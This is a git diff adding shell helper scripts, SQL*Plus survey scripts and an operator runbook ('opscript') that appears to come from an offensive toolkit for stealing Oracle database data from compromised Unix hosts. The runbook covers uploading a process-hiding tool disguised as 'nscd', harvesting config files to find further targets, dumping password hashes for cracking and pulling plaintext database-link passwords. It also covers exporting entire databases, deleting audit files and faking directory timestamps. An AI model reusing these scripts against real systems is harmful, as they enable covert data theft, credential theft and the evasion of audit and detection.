@@ -0,0 +1,4 @@ +echo connect / as sysdba +echo spool $4_$1_idb.txt +echo @idb.sql $2-$3 +echo spool off diff --git a/Linux/etc/oracle/mkr2_schema.sh b/Linux/etc/oracle/mkr2_schema.sh new file mode 100755 index 0000000..a5e3e0d --- /dev/null +++ b/Linux/etc/oracle/mkr2_schema.sh @@ -0,0 +1,10 @@ +echo spool $1_sch.txt +echo @sch.sql $1 +echo spool off +echo set echo off +echo set pagesize 55 +echo set linesize 80 +echo set arraysize 15 +echo set maxdata 60000 +echo set termout on + diff --git a/Linux/etc/oracle/mkr2sql.sh b/Linux/etc/oracle/mkr2sql.sh new file mode 100755 index 0000000..9ae2a0e --- /dev/null +++ b/Linux/etc/oracle/mkr2sql.sh @@ -0,0 +1,16 @@ +echo spool $1_sch.txt +echo @sch.sql $1 +echo spool off +echo @s1.sql $1 +echo set termout off +echo spool $1_sam.txt +echo set echo on +echo @s3.sql +echo spool off +echo set echo off +echo set pagesize 55 +echo set linesize 80 +echo set arraysize 15 +echo set maxdata 60000 +echo set termout on + diff --git a/Linux/etc/oracle/mkreadme.sh b/Linux/etc/oracle/mkreadme.sh new file mode 100755 index 0000000..da024f3 --- /dev/null +++ b/Linux/etc/oracle/mkreadme.sh @@ -0,0 +1,10 @@ +echo "mkdir /current/up/$2" +echo "cp ./$1* /current/up/$2" +echo "cp ./*.sql /current/up/$2" +echo "cp ./*.sh /current/up/$2" +echo "cp ./g* /current/up/$2" +echo "cp ./t0 /current/up/$2" +echo "#cp ./custom/*sql /current/up/$2" +echo "cd /current/up/$2" +echo "vi $1_opscript_*" + diff --git a/Linux/etc/oracle/mksch.sh b/Linux/etc/oracle/mksch.sh new file mode 100755 index 0000000..654f784 --- /dev/null +++ b/Linux/etc/oracle/mksch.sh @@ -0,0 +1,13 @@ +echo USERID=$1/$2 +echo BUFFER=30720 +echo FILE=$1_sch.dmp +echo COMPRESS=N +echo GRANTS=N +echo INDEXES=Y +echo ROWS=N +echo CONSTRAINTS=N +echo FULL=N +echo RECORDLENGTH=30720 +echo RECORD=N +echo DIRECT=N +echo FEEDBACK=2000 diff --git a/Linux/etc/oracle/mkscript.sh b/Linux/etc/oracle/mkscript.sh new file mode 100755 index 0000000..8da80d5 --- /dev/null +++ b/Linux/etc/oracle/mkscript.sh @@ -0,0 +1,79 @@ +echo "###########################################################" +echo "# OPTIONAL - Edit these files to set the correct password #" +echo "###########################################################" +echo vi /current/up/$2/$1$3_user +echo vi /current/up/$2/$1_sch +echo +echo "###########################################" +echo "# Set the ORACLE_SID environment variable #" +echo "###########################################" +echo -setenv ORACLE_SID=$2 +echo +echo "####################################" +echo "# Upload the Export Schema scripts #" +echo "####################################" +echo -put /current/up/$2/exp_$1_sch $4/exp_$1_sch +echo -put /current/up/$2/$1_sch $4/$1_sch +echo +echo "#########################################################################################" +echo "# OPTIONAL - Run query to retrieve table names to append to the "$1$3_user" file. #" +echo "# This will allow you to limit the export to a specific set of tables. #" +echo "#########################################################################################" +echo -put /current/up/$2/g3 $4/g3 +echo -put /current/up/$2/r3_$1.sql $4/r3.sql +echo chmod 777 g3 r3.sql +echo "g3 > g3_$1.txt" +echo -vget g3_$1.txt +echo -vget $1_tables.txt +echo -rm g3_$1.txt +echo -rm $1_tables.txt +echo -rm r3.sql +echo -rm g3 +echo +echo "#########################################################################################" +echo "# OPTIONAL - Edit the $1$3_user" file to add the list of tables you want for the export #" +echo "# Your additions to the END of the file should look like this: #" +echo "#########################################################################################" +echo "# TABLES=( #" +echo "# table_a, #" +echo "# table_b, #" +echo "# table_c, #" +echo "# table_x #" +echo "# ) #" +echo "#########################################################################################" +echo vi /current/up/$2/$1$3_user +echo +echo "################################" +echo "# Upload the Export DB scripts #" +echo "################################" +echo -put /current/up/$2/exp_$1$3 $4/exp_$1$3 +echo -put /current/up/$2/$1$3_user $4/$1$3_user +echo +echo "#############################################" +echo "# Set the permissions of the uploaded files #" +echo "#############################################" +echo chmod 777 $1_sch exp_$1_sch $1$3_user exp_$1$3 +echo +echo "#####################" +echo "# Export the Schema #" +echo "#####################" +echo "exp_$1_sch > exp_$1_sch.txt" +echo -vget exp_$1_sch.txt +echo -get $1_sch.dmp +echo -rm exp_$1_sch.txt +echo -rm $1_sch.dmp +echo -rm exp_$1_sch +echo -rm $1_sch +echo +echo "########################" +echo "# Export the User Data #" +echo "######################## " +echo "exp_$1$3 > exp_$1$3.txt" +echo -vget exp_$1.txt +echo -get $1.dmp +echo -rm exp_$1.txt +echo -rm $1.dmp +echo -rm exp_$1$3 +echo -rm $1$3_user +echo + diff --git a/Linux/etc/oracle/mkt0sql.sh b/Linux/etc/oracle/mkt0sql.sh new file mode 100755 index 0000000..cc8657d --- /dev/null +++ b/Linux/etc/oracle/mkt0sql.sh @@ -0,0 +1,3 @@ +echo connect / as sysdba +echo @t1.sql $1 +echo diff --git a/Linux/etc/oracle/mktab.sh b/Linux/etc/oracle/mktab.sh new file mode 100755 index 0000000..e7e691b --- /dev/null +++ b/Linux/etc/oracle/mktab.sh @@ -0,0 +1,18 @@ +echo connect / as sysdba +echo "set echo off" +echo set heading off +echo set pagesize 1000 +echo set trimout on +echo set trimspool on +echo set feedback off +echo set verify off +echo +echo spool $1_tables.txt +echo "prompt TABLES=(" +echo "select table_name || ','" +echo from all_tables +echo where owner=upper\(\'$1\'\) +echo "order by table_name;" +echo "prompt )" +echo spool off +echo diff --git a/Linux/etc/oracle/mkuser.sh b/Linux/etc/oracle/mkuser.sh new file mode 100755 index 0000000..bccea1c --- /dev/null +++ b/Linux/etc/oracle/mkuser.sh @@ -0,0 +1,13 @@ +echo USERID=$1/$2 +echo BUFFER=30720 +echo FILE=$1$3.dmp +echo COMPRESS=N +echo GRANTS=N +echo INDEXES=N +echo ROWS=Y +echo CONSTRAINTS=N +echo FULL=N +echo RECORDLENGTH=30720 +echo RECORD=N +echo DIRECT=N +echo FEEDBACK=2000 diff --git a/Linux/etc/oracle/opscript b/Linux/etc/oracle/opscript new file mode 100644 index 0000000..ee1bdcd --- /dev/null +++ b/Linux/etc/oracle/opscript @@ -0,0 +1,545 @@ +############################################### +# Make sure that we have enough space in /tmp # +############################################### +df -k | egrep 'tmp|avail' + +########################### +# Make the temp directory # +########################### +mkdir $TMPDIR +chmod 777 $TMPDIR +-cd $TMPDIR + + +########################################## +# Add the current directory to your path # +########################################## +-addpath . + + +################################################ +# Verify the home directory of the oracle user # +################################################ +grep oracle /etc/passwd | awk -F: '{print $6}' + +######################################################################### +# Make sure that we setup the correct environment variable for NLS_LANG.# +# Look in the $HOMEDIR directory for a .profile, .cshrc, # +# or whatever file bash uses. # +######################################################################### +-lt $HOMEDIR +-vget $HOMEDIR/.profile +-vget $HOMEDIR/.cshrc + +######################################################################### +# Grab the .ora configuration files or at least the tnsnames.ora and # +# listener.ora files at a minimum. The tnsnames.ora file will identify # +# all of the oracle servers that this machine knows about. # +# *** Look at this file to identify additional machines to go after. # +######################################################################### +-lt $ORACLEHOMEDIR/network/admin +-get $ORACLEHOMEDIR/network/admin/*.ora + + +################################################################## +# At this point you need to look in these files to see if there # +# is an NLS_LANG parameter set. If there is, then you need to # +# edit the t0, g1, and g2 files to set this parameter correctly # +# before you upload any of these files. # +################################################################## + +############################################## +# Upload the files that should ALWAYS be run # +############################################## +-put /current/up/oracle/t0 $TMPDIR/t0 +-put /current/up/oracle/t0.sql $TMPDIR/t0.sql +-put /current/up/oracle/g1 $TMPDIR/g1 +-put /current/up/oracle/r1.sql $TMPDIR/r1.sql +-put /current/up/oracle/idb.sql $TMPDIR/idb.sql + +####################### +# Upload one of these # +####################### +-put /current/up/oracle/t1_full_survey.sql $TMPDIR/t1.sql +-put /current/up/oracle/t1_schema_only.sql $TMPDIR/t1.sql +-put /current/up/oracle/t1_sample_only.sql $TMPDIR/t1.sql +-put /current/up/oracle/t1_no_survey.sql $TMPDIR/t1.sql + + + + +###################################################################### +#################### BEGIN INCISION TARGETS ONLY ##################### +###################################################################### + +##################### +# Upload DITTLELITE # +##################### +######################################################################### +# This is required for unhiding our processes on an INCISION box. # +# Oracle requires that it see our processes when we query the database. # +######################################################################### +-put /current/up/hidelite.solaris.sparc $TMPDIR/nscd + + +###################################################################### +#################### END INCISION TARGETS ONLY ##################### +###################################################################### + + + + +################################################################# +# We need to set permissions on the files so that the "oracle" # +# user will be able to see them in the temp directory. # +################################################################# +chmod 777 * + + + +################################################## +# Make sure we are using the correct UID and GID # +################################################## +-get /etc/group +grep oracle /etc/passwd | awk -F: '{print $3}' +grep dba /etc/group | awk -F: '{print $3}' + + +#################################################################### +# Setup the Oracle environment variables needed to run the queries # +#################################################################### +-setenv ORACLE_BASE=$ORACLEBASEDIR +-setenv ORACLE_HOME=$ORACLEHOMEDIR +-setenv ORACLE_SID=$ORACLESID + + + +###################################################### +# Unhide yourself before running the queries!!! # +# If INCISION: use DITTLELITE (instructions below) # +# If STOIC: use ctrl -P (instructions below) # +###################################################### + + + +###################################################################### +#################### BEGIN INCISION TARGETS ONLY ##################### +###################################################################### +-pid + +############################################################## +# IMPORTANT!!! The PPID MUST be (1). This window MUST be a # +# callback window in order for DITTLELITE to work properly. # +############################################################## + +########################################################### +# Use the PID of the callback window in the command below # +########################################################### +./nscd -u -p +echo $? + +###################################################################### +#################### END INCISION TARGETS ONLY ##################### +###################################################################### + + + + + +###################################################################### +################## BEGIN STOICSURGEON TARGETS ONLY ################### +###################################################################### +ps -ef | grep pmon + +######################################################################### +# Use the PID of the ora_pmon_$ORACLESID process in the command below # +######################################################################### +-ctrl -P + +###################################################################### +################## END STOICSURGEON TARGETS ONLY ################### +###################################################################### + + + + + +################################################################# +# setup the Environment variables for the UID and GID to run as # +################################################################# +-setenv U=$UID +-setenv G=$GID + + + +######################################################################### +# List the audit directory prior to running scripts. Any files created # +# after doing the survey, will need to be deleted prior to leaving the # +# target. # +######################################################################### +ls -alrt $ORACLEHOMEDIR/rdbms/audit/*.aud | tail + +############################################# +# If the above fails, then use this command # +############################################# +cd $ORACLEHOMEDIR/rdbms/audit; ls -alrt | tail -10 + + +############################################################ +# Test out everything to make sure we have the correct IDs # +############################################################ +id + +#################################### +# Start running the Oracle queries # +# **** ALWAYS RUN THIS QUERY **** # +#################################### +t0 + +################################################################################# +# At this point, you may want to grab the Oracle passwords that were displayed # +# to the screen and send them off to be cracked. If they crack easily, then # +# you can use them with the "mkall.sh" script below to be able to export the # +# entire database for the user. You really only need to have the ones cracked # +# that are for the users of interest (this list should also be on the screen). # +################################################################################# + +############################################### +# Send passwords off to be cracked (optional) # +############################################### +-vget pass.txt +-rm pass.txt + + +################################################################## +### Change this entry from what was received back from running ### +### the "t0" script or from what was in the ".profile" ### +################################################################## +################################ +##### Configured by script ##### +################################ +-setenv NLS_LANG=AMERICAN_AMERICA.$CHARACTERSET + +################################################# +##### Potential Simplified Chinese Settings ##### +################################################# +-setenv NLS_LANG=AMERICAN_AMERICA.ZHS16CGB231280 +-setenv NLS_LANG=AMERICAN_AMERICA.ZHS16GBK + +##################################### +##### Potential Arabic Settings ##### +##################################### +-setenv NLS_LANG=AMERICAN_AMERICA.AR8MSWIN1256 + + +################################################# +# Get the $HOSTNAME$ORACLESID_idb.txt file # +################################################# +g1 > /dev/null 2>&1 +-vget $HOSTNAME$ORACLESID_idb.txt +-vget $HOSTNAME_$ORACLESID_idb.txt # might be named this + + +################################################################################# +# REVIEW the $HOSTNAME$ORACLESID_idb.txt file. # +# These are the things to look for: # +################################################################################# +# - Is auditing on? This should show up in the first section of the file. # +# Also look for the "audit_trail" setting in the "DB Initialization # +# Parameters" section. # +# # +# - How much data is being stored for the users you want to get sample # +# data for? Look for section: "Database Usage by User and Tablespace" # +# If the sizes are too big (>500,000K) SERIOUSLY consider not getting # +# sample data, just get the schema. To do this, run the command: # +# # +# /current/up/oracle/mkr2_schema.sh > r2.sql # +# # +# and then upload it and overwrite the one on the target. # +# # +# - See if you can identify some plaintext passwords. Look at the # +# "Database Links" section. # +# # +# - Identify the database users you are interested in. Look at the "Users # +# of Interest" section. These users are also included in the # +# "sam8i.txt" or the "sam80.txt" file that was created when you ran t0. # +# # +################################################################################# + + + + +################################################### +##### Skip this section if not doing a survey ##### +################################################### + + + +################################################################################### +############################### IF DOING A SURVEY ############################### +################################################################################### + +-pid + + +######################### +# Upload Survey Scripts # +######################### +-put /current/up/oracle/g2 $TMPDIR/g2 +-put /current/up/oracle/s1.sql $TMPDIR/s1.sql +-put /current/up/oracle/sch.sql $TMPDIR/sch.sql + + +################################################# +# Upload only one of the following five scripts # +################################################# +################################################################ +# If Tables are partitioned (see $HOSTNAME$ORACLESID_idb.txt ) # +################################################################ +-put /current/up/oracle/s2_partition.sql $TMPDIR/s2.sql +-put /current/up/oracle/s2_partition_no_counts.sql $TMPDIR/s2.sql +################################# +# If Tables are not partitioned # +################################# +-put /current/up/oracle/s2_nopartition.sql $TMPDIR/s2.sql +-put /current/up/oracle/s2_nopartition_no_counts.sql $TMPDIR/s2.sql +-put /current/up/oracle/s2_onlyrowcounts.sql $TMPDIR/s2.sql + + + +#################################################################### +# In another window as root, set permissions on the survey scripts # +#################################################################### +cd $TMPDIR; chmod 777 g2 s1.sql s2.sql sch.sql + + + +####################################################### +# Grab the script file that will give us the commands # +# to run for getting sample data. # +# Usually, you only need to grab the sam8i.txt file. # +####################################################### +-vget sam8i.txt +-vget sam80.txt + +################################################################# +# At this point you need to look at the sam8i.txt or sam80.txt # +# file to perform the survey of each of the users. Use the # +# sam8i.txt file unless you are on an Oracle 8.0 server. # +################################################################# + + + +######################################################################### +# If you want to just get the schema and not the sample data for a # +# USER, then run the "mkr2_schema.sh" script. Else, if you originally # +# uploaded the "t1_schema.sql" file instead of the "t1_fullsurvey.sql" # +# file before running the "t0" script and would like to get a sample # +# of the data too, then run the "mkr2sql.sh" script: # +######################################################################### +# You will need to put up this file in place of the "mv" line in the # +# sam8i.txt or sam80.txt file. # +######################################################################### +/current/up/oracle/mkr2_schema.sh > /curent/up/oracle/r2.sql +/current/up/oracle/mkr2sql.sh > /current/up/oracle/r2.sql + +-put /current/up/oracle/r2.sql $TMPDIR/r2.sql + +# In another window as root, set the permissions of the new files if needed +chmod 777 $TMPDIR/* + + +################################# +# *** End of survey section *** # +################################# + + + +######################################################### +##### Skip this section if not doing custom queries ##### +######################################################### + + + +################################################################################### +############################ IF DOING CUSTOM QUERIES ############################ +################################################################################### +####################### +# Create Custom Query # +####################### +/current/up/oracle/mkquery.sh $USER > /current/up/oracle/custom.sql + +######################### +# Edit the Custom Query # +######################### +vi /current/up/oracle/custom.sql + +####################### +# Upload Custom Query # +####################### +-put /current/up/oracle/custom.sql $TMPDIR/r4.sql +-put /current/up/oracle/g4 $TMPDIR/g4 + +# In another window as root: +chmod 777 $TMPDIR/* + + +################# +# Run the query # +################# +g4 + +-get cust_$USER.txt +-rm cust_$USER.txt + +-rm g4 +-rm r4.sql + + +####################################### +# *** End of custom query section *** # +####################################### + + + + +################################################# +# *** Skip this section if not doing export *** # +################################################# + +######################################################################### +# If you want to generate the scripts need to export a different user, # +# then run the "mkall.sh" script for the user you want. # +######################################################################### +# USAGE: ./makall.sh # +######################################################################### +# EXAMPLE: # +# ./mkall.sh DB_User DB_Pass $ORACLESID "" $TMPDIR # +# # +# PRODUCES FILES: # +# DB_User_user, DB_User_exp_script, DB_User_sch, # +# exp_DB_User, exp_DB_User_sch, g3, r3.sql # +######################################################################### +# EXAMPLE: # +# ./mkall.sh DB_User DB_Pass $ORACLESID _1 $TMPDIR # +# # +# PRODUCES FILES: # +# DB_User_1_user, DB_User_exp_script, DB_User_sch, # +# exp_DB_User_1, exp_DB_User_sch, g3, r3.sql # +######################################################################### +##################################################################################### +# Run the mkall.sh script to create the sql scripts for exporting a particular user # +##################################################################################### +cd /current/up/oracle +./mkall.sh $USER $USERPASS $ORACLESID "" $TMPDIR + +############################################################ +# Open up the $USER_exp_script file for running the export # +############################################################ +vi $USER_exp_script + + +################################################## +# Upload the Export scripts (if doing an export) # +################################################## +-put /current/up/oracle/exp_$USER_sch $TMPDIR/exp_$USER_sch +-put /current/up/oracle/$USER_sch $TMPDIR/$USER_sch +-put /current/up/oracle/exp_$USER $TMPDIR/exp_$USER +-put /current/up/oracle/$USER_user $TMPDIR/$USER_user + +# In another window as root: +chmod 777 $TMPDIR/* + + +##################### +# Export the Schema # +##################### +exp_$USER_sch +-vget exp_$USER_sch.txt +-get $USER_sch.dmp + +############################## +# Export the Entire Database # +############################## +exp_$USER > exp_$USER.txt +-vget exp_$USER.txt +-get $USER.dmp + + +################################# +# *** End of Export section *** # +################################# + + + + + + +##################################### +########## CLEANUP SECTION ########## +##################################### + + +######################################################## +# Clear environment variables that set the UID and GID # +# to be root again. # +######################################################## +-setenv U= +-setenv G= + + +####################### +# Hide yourself again # +####################### +################### +# INCISION target # +################### +./nscd -h -p ???? + +####################### +# STOICSURGEON target # +####################### +ps -aef | grep pmon + +################################################### +# Use the PID of the ora_pmon_$ORACLESID # +# process in the command below # +################################################### +-ctrl -p + +########################################################### +# Clean up the audit trail - delete the files we created. # +########################################################### +ls -alrt $ORACLEHOMEDIR/rdbms/audit/*.aud | tail + +############################################# +# If the above fails, then use this command # +############################################# +cd $ORACLEHOMEDIR/rdbms/audit; ls -alrt | tail -10 + + + +################################################# +# Touch up the date/timestamp of the directory # +# -touch referencefile filetotouch # +################################################# +-touch $ORACLEHOMEDIR/rdbms/audit/ora_???.aud $ORACLEHOMEDIR/rdbms/audit + +##################################### +# Clean up the $TMPDIR directory # +##################################### +rm $TMPDIR/* +-cd /tmp +-rm $TMPDIR + +########################################### +# Move the files from the temp directory # +# so that they can be post processed # +########################################### +########################################### +###### RUN THESE LOCALLY!!!!!! ###### +########################################### +mkdir /current/down/$HOST_IPADDRESS/ORACLE +mv /current/down/$HOST_IPADDRESS$TMPDIR/* /current/down/$HOST_IPADDRESS/ORACLE +ls -la /current/down/$HOST_IPADDRESS/ORACLE + diff --git a/Linux/etc/oracle/s1.sql b/Linux/etc/oracle/s1.sql new file mode 100644 index 0000000..9baaf5e --- /dev/null +++ b/Linux/etc/oracle/s1.sql @@ -0,0 +1,97 @@ +set echo off +set feedback off +set heading off +set linesize 200 +set pagesize 0 +set trimspool on +set trimout on +set termout off +set verify off +set escape ~ + +col a fold_after + +spool s3.sql + +prompt set heading on +prompt set feedback on +prompt set pagesize 9999 +prompt set linesize 80 +prompt set null "~~~~~~" + +select unique 'desc &1~.' || table_name a, 'set linesize 1000' a, 'select /*+ FIRST_ROWS(150) */ * from &1~.' || table_name || ' where rownum < 151;' a, 'set linesize 80' a, 'select count(*) from &1~.' || table_name || ';' +from all_tab_columns where owner=upper('&1'); + +spool off +spool s4.sql + +prompt set heading on +prompt set feedback on +prompt set pagesize 9999 +prompt set linesize 80 +prompt set null "~~~~~~" + +select unique 'set linesize 80' a, 'desc &1~.' || table_name a, 'set linesize 1000' a, 'select /*+ FIRST_ROWS(150) */ * from &1~.' || table_name || ' where rownum < 151;' +from all_tab_columns where owner=upper('&1'); + +spool off +spool s5.sql + +prompt set heading on +prompt set feedback on +prompt set pagesize 9999 +prompt set linesize 80 +prompt set null "~~~~~~" + +select unique 'desc &1~.' || table_name a, 'select count(*) from &1~.' || table_name || ';' +from all_tab_columns where owner=upper('&1'); + +spool off +spool s6.sql + +prompt set heading on +prompt set feedback on +prompt set pagesize 9999 +prompt set linesize 1000 +prompt set null "~~~~~~" + + +select unique 'select /*+ FIRST_ROWS(150) */ * from &1~.' || table_name || ' PARTITION(' || partition_name || ') where rownum < 151;' +from dba_tab_partitions where table_owner=upper('&1'); + +prompt set linesize 80 +select unique 'desc &1~.' || table_name a, 'select count(*) from &1~.' || table_name || ';' +from all_tables where owner=upper('&1') AND partitioned='YES'; + +select unique 'set linesize 80' a, 'desc &1~.' || table_name a, 'set linesize 1000' a, 'select /*+ FIRST_ROWS(150) */ * from &1~.' || table_name || ' where rownum < 151;' a, +'select count(*) from &1~.' || table_name || ';' +from all_tables where owner=upper('&1') AND partitioned='NO'; + +spool off + +spool s7.sql + +prompt set heading on +prompt set feedback on +prompt set pagesize 9999 +prompt set linesize 1000 +prompt set null "~~~~~~" + + +select unique 'select /*+ FIRST_ROWS(150) */ * from &1~.' || table_name || ' PARTITION(' || partition_name || ') where rownum < 151;' +from dba_tab_partitions where table_owner=upper('&1'); + +prompt set linesize 80 +select unique 'desc &1~.' || table_name +from all_tables where owner=upper('&1') AND partitioned='YES'; + +select unique 'set linesize 80' a, 'desc &1~.' || table_name a, 'set linesize 1000' a, 'select /*+ FIRST_ROWS(150) */ * from &1~.' || table_name || ' where rownum < 151;' +from all_tables where owner=upper('&1') AND partitioned='NO'; + +spool off + +set heading on +set feedback on +set pagesize 9999 +set linesize 1000 +set termout on diff --git a/Linux/etc/oracle/s2_nopartition.sql b/Linux/etc/oracle/s2_nopartition.sql new file mode 100644 index 0000000..9b2f08e --- /dev/null +++ b/Linux/etc/oracle/s2_nopartition.sql @@ -0,0 +1 @@ +@s3.sql diff --git a/Linux/etc/oracle/s2_nopartition_no_counts.sql b/Linux/etc/oracle/s2_nopartition_no_counts.sql new file mode 100644 index 0000000..c5a590c --- /dev/null +++ b/Linux/etc/oracle/s2_nopartition_no_counts.sql @@ -0,0 +1 @@ +@s4.sql diff --git a/Linux/etc/oracle/s2_onlyrowcounts.sql b/Linux/etc/oracle/s2_onlyrowcounts.sql new file mode 100644 index 0000000..2c7095e --- /dev/null +++ b/Linux/etc/oracle/s2_onlyrowcounts.sql @@ -0,0 +1 @@ +@s5.sql diff --git a/Linux/etc/oracle/s2_partition.sql b/Linux/etc/oracle/s2_partition.sql new file mode 100644 index 0000000..d07545b --- /dev/null +++ b/Linux/etc/oracle/s2_partition.sql @@ -0,0 +1 @@ +@s6.sql diff --git a/Linux/etc/oracle/s2_partition_no_counts.sql b/Linux/etc/oracle/s2_partition_no_counts.sql new file mode 100644 index 0000000..f9c3275 --- /dev/null +++ b/Linux/etc/oracle/s2_partition_no_counts.sql @@ -0,0 +1 @@ +@s7.sql diff --git a/Linux/etc/oracle/sch.sql b/Linux/etc/oracle/sch.sql new file mode 100644 index 0000000..a104915 --- /dev/null +++ b/Linux/etc/oracle/sch.sql @@ -0,0 +1,225 @@ +set newpage 0 +set pagesize 9999 +set linesize 1000 +set verify off +set trimspool on +set trimout on +set feedback 6 +set recsep off +set maxdata 60000 +set Numwidth 20 +set longchunk 60000 +set long 9999999 +set termout off +set arraysize 3 + +set heading on +prompt +prompt User Tables: +prompt ------------- + +prompt + +ttitle center 'TABLES FOR USER &1 ' skip skip + +col table_name for a30 wrap +col comments for a49 wrap + + +select unique a.table_name, c.comments +from all_tab_columns a, all_tab_comments c +where a.table_name = c.table_name(+) +and a.owner=c.owner(+) +and a.owner= upper('&&1') +order by a.table_name +/ + +col table_name for a30 wrap +col column_name for a30 wrap +col t for a1 +col len for 9999 +col pr for 99 +col Sc for 99 +col N for a1 +break on table_name skip 0 + +prompt +prompt Table Columns: +prompt --------------- + +prompt + +ttitle center 'TABLE COLUMNS FOR USER &&1 ' skip skip + +select a.table_name, a.column_name, + DECODE(a.data_type, + 'CHAR', 'C', + 'VARCHAR', 'V', + 'VARCHAR2', 'V', + 'NUMBER', 'N', + 'DATE', 'D', + '?') "T", + a.data_length "Len", + a.data_precision "Pr", + a.data_scale "Sc", + a.nullable "N" +from all_tab_columns a +where a.owner= upper('&&1') +order by a.table_name, a.column_name +/ +Prompt +prompt Column Comments: +prompt ----------------- + +prompt + + +ttitle center 'TABLE COLUMN COMMENTS FOR USER &&1 ' skip skip + +col table_name for a15 +col com for a64 wrap +break on table_name skip 2 + +select table_name, '<'||column_name||'> '||comments com +from all_col_comments +where comments is not null +and owner = upper('&&1') +order by 1 +/ + +ttitle off + +Prompt +prompt End of Report + +col cnm for a20 wrap +col com for a40 wrap + +select table_name, column_name cnm, comments com +from all_col_comments +where comments is not null +and owner = upper('&&1') +order by 1 +/ + + +clear breaks +clear columns +clear computes + + +set escape ~ +set heading on + + +ttitle off +set linesize 80 + +prompt +prompt User Views: +prompt ------------ + +prompt + +ttitle center 'VIEWS FOR USER &1 ' skip skip + +column view_name for a30 wrap +column text for a80 wrap +column sp heading '' + +set linesize 81 +set heading on + +select view_name, text, +'*******************************************************************************' sp +from sys.all_views +where owner = upper('&&1') +order by view_name +/ + +set linesize 80 + +ttitle off + +prompt +prompt Number of User DB Links: +prompt ------------------------- + +prompt + +select count(*) from user_db_links; + +prompt +prompt Number of All DB Links: +prompt ------------------------ + +prompt + +select count(*) from all_db_links where owner=upper('&1'); + +prompt +prompt Number of Snapshots: +prompt --------------------- + +prompt + +select count(*) from all_snapshots where owner=upper('&1'); + +set echo off + +set linesize 85 + +col db format a30 wrap heading 'DB Link Name' +col h format a20 wrap heading 'Host' +col u format a15 wrap heading 'Username' +col p format a15 wrap heading 'Password' + +prompt +prompt Database Links: +prompt ---------------- + +prompt + +ttitle center 'Database Links ' skip skip + +select username u, password p, db_link db, host h +from user_db_links; + +set linesize 85 + +col db format a30 wrap heading 'DB Link Name' +col h format a20 wrap heading 'Host' +col u format a15 wrap heading 'Username' +col o format a15 wrap heading 'Owner' + +prompt +prompt User Database Links: +prompt --------------------- + +prompt + +ttitle center 'Database Links For User &&1 ' skip skip + +select owner o, username u, db_link db, host h +from all_db_links +where owner=upper('&1'); + +prompt +prompt User Snapshots: +prompt ---------------- + +prompt + +ttitle center 'Snapshots For User &&1 ' skip skip + +col n heading 'Snapshot Name' +col t heading 'Table Name' +col sp heading '' + +select Name n, Table_Name t, Query, +'************************************************************************************' sp +from all_snapshots +where owner=upper('&1'); + + +ttitle off diff --git a/Linux/etc/oracle/sch_20081210.sql b/Linux/etc/oracle/sch_20081210.sql new file mode 100644 index 0000000..182c5e9 --- /dev/null +++ b/Linux/etc/oracle/sch_20081210.sql @@ -0,0 +1,260 @@ +set newpage 0 +set pagesize 9999 +set linesize 1000 +set verify off +set trimspool on +set trimout on +set feedback 6 +set recsep off +set maxdata 60000 +set Numwidth 20 +set longchunk 60000 +set long 9999999 +set termout off +set arraysize 3 + +set heading on +prompt +prompt User Tables: +prompt ------------- + +prompt + +ttitle center 'TABLES FOR USER &1 ' skip skip + +col table_name for a30 wrap +col comments for a49 wrap + + +select unique a.table_name, c.comments +from all_tab_columns a, all_tab_comments c +where a.table_name = c.table_name(+) +and a.owner=c.owner(+) +and a.owner= upper('&&1') +order by a.table_name +/ + +col table_name for a30 wrap +col column_name for a30 wrap +col t for a1 +col len for 9999 +col pr for 99 +col Sc for 99 +col N for a1 +break on table_name skip 0 + +prompt +prompt Table Columns: +prompt --------------- + +prompt + +ttitle center 'TABLE COLUMNS FOR USER &&1 ' skip skip + +select a.table_name, a.column_name, + DECODE(a.data_type, + 'CHAR', 'C', + 'VARCHAR', 'V', + 'VARCHAR2', 'V', + 'NUMBER', 'N', + 'DATE', 'D', + '?') "T", + a.data_length "Len", + a.data_precision "Pr", + a.data_scale "Sc", + a.nullable "N" +from all_tab_columns a +where a.owner= upper('&&1') +order by a.table_name, a.column_name +/ +Prompt +prompt Column Comments: +prompt ----------------- + +prompt + + +ttitle center 'TABLE COLUMN COMMENTS FOR USER &&1 ' skip skip + +col table_name for a15 +col com for a64 wrap +break on table_name skip 2 + +select table_name, '<'||column_name||'> '||comments com +from all_col_comments +where comments is not null +and owner = upper('&&1') +order by 1 +/ + +ttitle off + +Prompt +prompt End of Report + +col cnm for a20 wrap +col com for a40 wrap + +select table_name, column_name cnm, comments com +from all_col_comments +where comments is not null +and owner = upper('&&1') +order by 1 +/ + + + +clear breaks +clear columns +clear computes + + + +set linesize 112 +set heading on + +prompt +prompt Table Constraints: +prompt ------------------- + +prompt + +ttitle center 'TABLE CONSTRAINTS FOR USER &1 ' skip skip + +col tn format a25 wrap heading 'Table Name' +col cn format a25 wrap heading 'Column Name' +col con format a25 wrap heading 'Local Key' +col rc format a25 wrap heading 'Remote Key' +col po format 999,999 heading 'Position' + +select a.table_name tn, a.column_name cn, +a.constraint_name con, b.r_constraint_name rc, a.position po +from sys.all_cons_columns a, sys.all_constraints b +where a.owner= upper('&&1') + and a.table_name=b.table_name + and a.owner=b.owner + and a.constraint_name=b.constraint_name +ORDER BY a.table_name; + + +Prompt +prompt End of Report + +clear columns + + +set escape ~ +set heading on + + +ttitle off +set linesize 80 + +prompt +prompt User Views: +prompt ------------ + +prompt + +ttitle center 'VIEWS FOR USER &1 ' skip skip + +column view_name for a30 wrap +column text for a80 wrap +column sp heading '' + +set linesize 81 +set heading on + +select view_name, text, +'*******************************************************************************' sp +from sys.all_views +where owner = upper('&&1') +order by view_name +/ + +set linesize 80 + +ttitle off + +prompt +prompt Number of User DB Links: +prompt ------------------------- + +prompt + +select count(*) from user_db_links; + +prompt +prompt Number of All DB Links: +prompt ------------------------ + +prompt + +select count(*) from all_db_links where owner=upper('&1'); + +prompt +prompt Number of Snapshots: +prompt --------------------- + +prompt + +select count(*) from all_snapshots where owner=upper('&1'); + +set echo off + +set linesize 85 + +col db format a30 wrap heading 'DB Link Name' +col h format a20 wrap heading 'Host' +col u format a15 wrap heading 'Username' +col p format a15 wrap heading 'Password' + +prompt +prompt Database Links: +prompt ---------------- + +prompt + +ttitle center 'Database Links ' skip skip + +select username u, password p, db_link db, host h +from user_db_links; + +set linesize 85 + +col db format a30 wrap heading 'DB Link Name' +col h format a20 wrap heading 'Host' +col u format a15 wrap heading 'Username' +col o format a15 wrap heading 'Owner' + +prompt +prompt User Database Links: +prompt --------------------- + +prompt + +ttitle center 'Database Links For User &&1 ' skip skip + +select owner o, username u, db_link db, host h +from all_db_links +where owner=upper('&1'); + +prompt +prompt User Snapshots: +prompt ---------------- + +prompt + 